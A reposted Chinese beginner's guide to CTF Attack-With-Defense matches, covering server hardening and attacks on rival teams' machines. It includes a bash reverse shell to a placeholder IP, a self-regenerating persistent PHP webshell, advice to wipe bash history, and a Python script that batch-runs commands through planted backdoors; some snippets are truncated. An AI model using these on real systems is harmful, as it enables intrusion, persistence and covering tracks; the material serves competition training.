商城首页欢迎来到中国正版软件门户

您的位置: 首页 > 文章列表 > 编程开发 > CTFAWD入门学习手册

CTFAWD入门学习手册

  发布于2026-07-22 阅读(0)

扫一扫,手机访问

引文

AWD赛制,全称Attack With Defense,是网络安全竞赛里最考验真功夫的玩法之一。简单说,它把真实网络里的防护设备、配置抽象成一个封闭的对抗环境,模拟企业或院校的典型网络拓扑,让参赛队伍一边攻一边守,既要渗透别人,还得防住自己。这种赛制最大的特点就是实战、实时、对抗——不拼理论,拼手速和策略。今天咱们就来聊聊AWD比赛里那些避不开的关键步骤。

站点部署

比赛一开场,你手头就会分配到一台甚至好几台靶机,主办方通常会给你SSH用户名、密码和虚拟IP。连上靶机之后,第一件事可不是急着去攻击,而是先把自家阵地扎稳。强烈推荐Xshell搭配Xftp,连上后先做下面几件事。

CTFAWD入门学习手册

dump源码

第一件事,dump网站源码。用SSH工具把整个网站源码拷下来,至少复制两份,然后拿D盾扫一遍。为什么?因为对手可能直接删掉你的源码让靶机宕机,而且主办方经常在源码里留后门——你扫出来,既能修复自家漏洞,又能拿来当武器去打别人。

数据库备份

登录数据库,立刻备份。万一数据被删了,可以秒级恢复。

mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库

还原命令:

mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库

修改密码

主办方给的密码往往很弱,极有可能被对手抢先登录搞破坏。所以快速改掉弱口令是保命操作。

Linux修改SSH及本地密码:

passwd

修改MySQL登录密码:

mysql>set password for root@localhost =password('xino');

关闭不必要端口

端口越多,漏洞入口越多。果断关掉不需要的服务,减少暴露面。

CTFAWD入门学习手册

部署WAF

WAF(Web应用防火墙)能帮你分析流量,别人攻击你的时候,你就能看到他们的攻击手法。没有攻击思路?那就从流量里学,顺便反打回去。部署方式很简单:

在每个PHP文件开头加上:

require_once(waf.php);

更省事的方法是在php.ini里配置自动包含:

auto_prepend_file=;

攻击(ATTACK)

自家阵地稳了,确认没有明显漏洞之后,就可以开始打别人了。

弱口令

如果发现靶机存在弱口令,直接遍历IP段,找出存活机器,连接上去找FLAG,或者植入后门文件保持控制。

自带后门

靶机里通常会有主办方留下的后门木马,知道路径后写个脚本批量连接,拿FLAG效率极高。

nmap

扫C段存活主机,快速摸清敌情。

.\nmap xxx.xxx.xxx.xxx/24

把结果保存成TXT文件,方便后续写脚本定点打击。

CTFAWD入门学习手册

WEB攻击

常见的攻击方式就那么几种,但实战中组合起来就很要命:

文件读取:用伪协议直接读flag

文件上传:绕过黑白名单上传一句话木马,连上工具查flag

命令执行:通过system等函数遍历文件系统

SQL注入:找注入点,注出flag

找到漏洞后,第一时间写自动化脚本批量提交flag,别手动一个个点,浪费机会。然后继续找下一个漏洞。

写入木马

AWD是回合制,要想持续上分,就得长期控制别人的靶机。植入木马是常规操作,但得隐蔽,下面几个小技巧值得记住。

bash反弹shell

利用预留后门上传PHP文件并访问,然后用nc反弹shell:

bash -i >& /dev/tcp/xx.xxx.xxx.xxx/9 0>&1
nc -l -p 8080

CTFAWD入门学习手册

注意: bash命令会在root目录下生成~/.bash_history记录文件,必须清除掉,不然会暴露痕迹。

不死马

一个经典的不死马脚本,上传并访问后,会在路径下循环生成隐藏的.config.php文件,实现持久化控制。

';
//pass=pass
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2020-10-21 04:17:18" .config.php');
    usleep(5000);
}
?>

提交脚本

比赛中几十台靶机,手动操作太慢,必须用脚本批量提交。这里给两个常用脚本的例子,可以根据实际环境调整:

预留后门利用脚本(Python):

import requests
url_head="http://xxx.xx.xxx."    #网段
url=""
shell_addr="/Upload/index.php"
passwd="xxxxx"                    #木马密码
port="80"
payload =  {passwd: 'system('cat /flag');'}
webshelllist=open("webshelllist.txt","w")
flag=open("firstround_flag.txt","w")
for i in range(30,61):
    url=url_head+str(i)+":"+port+shell_addr
    try:
        res=requests.post(url,payload,timeout=1)
        if res.status_code == requests.codes.ok:
            result = url+" connect shell sucess,flag is "+res.text
            print result
            print >>flag,result
            print >>webshelllist,url+","+passwd
        else:
            print "shell 404"
    except:
        print url+" connect shell fail"
webshelllist.close()
flag.close()

批量提交flag脚本(需根据规则修改):

import sys
import json
import urllib
import httplib
server_host = ' '    #提交flag的服务器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
    if not team_token or not flag:
        raise Exception('team token or flag wrong')
    conn = httplib.HTTPConnection(host, port, timeout=timeout)
    params = urllib.urlencode({
        #提交需要post的参数,根据情况修改
        'token': team_token,
        'flag': flag,
    })
    headers = {
        "Content-type": "application/x-www-form-urlencode"
    }
    conn.request('POST', '[submit_flag_dir]', params, headers)
    #第二个参数为提交flag的目录
    response = conn.getresponse()
    data = response.read()
    return json.loads(data)
if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'usage: ./submitflag.py [team_token] [flag]'
        sys.exit()
    host = server_host
    if len(sys.argv) > 3:
        host = sys.argv[3]
    print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)

防御(DEFENSE)

攻击和防御是硬币的两面。前面已经讲了不少防御技巧,比如改弱口令、部署WAF,这里再补充几个常用命令和思路。

查找flag位置:

find / -name *flag*

查找password:

find .|xargs grep "password"

查看已建立的连接和进程:

netstat -antulp | grep EST

结束进程:

kill PID
killall <进程名> 

检测TCP连接数量:

netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn

chattr命令防止关键文件被修改:

chattr +i /etc/resolv.conf

流量监控: 别人访问你靶机时,请求的URL可能就是攻击payload。记录下这些流量,就能反打回去。一个简单的PHP监控脚本如下:

'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

结语

AWD是CTF里最见真章的赛制,今天分享的这些入门知识点,从站点部署到攻击防御,再到脚本化提交,基本覆盖了比赛中的常见场景。当然,实战中情况千变万化,多练、多复盘,手感自然就来了。希望这篇内容能帮你少走些弯路。

本文转载于:https://www.jb51.net/article/265815.htm 如有侵犯,请联系zhengruancom@outlook.com删除。
免责声明:正软商城发布此文仅为传递信息,不代表正软商城认同其观点或证实其描述。

热门关注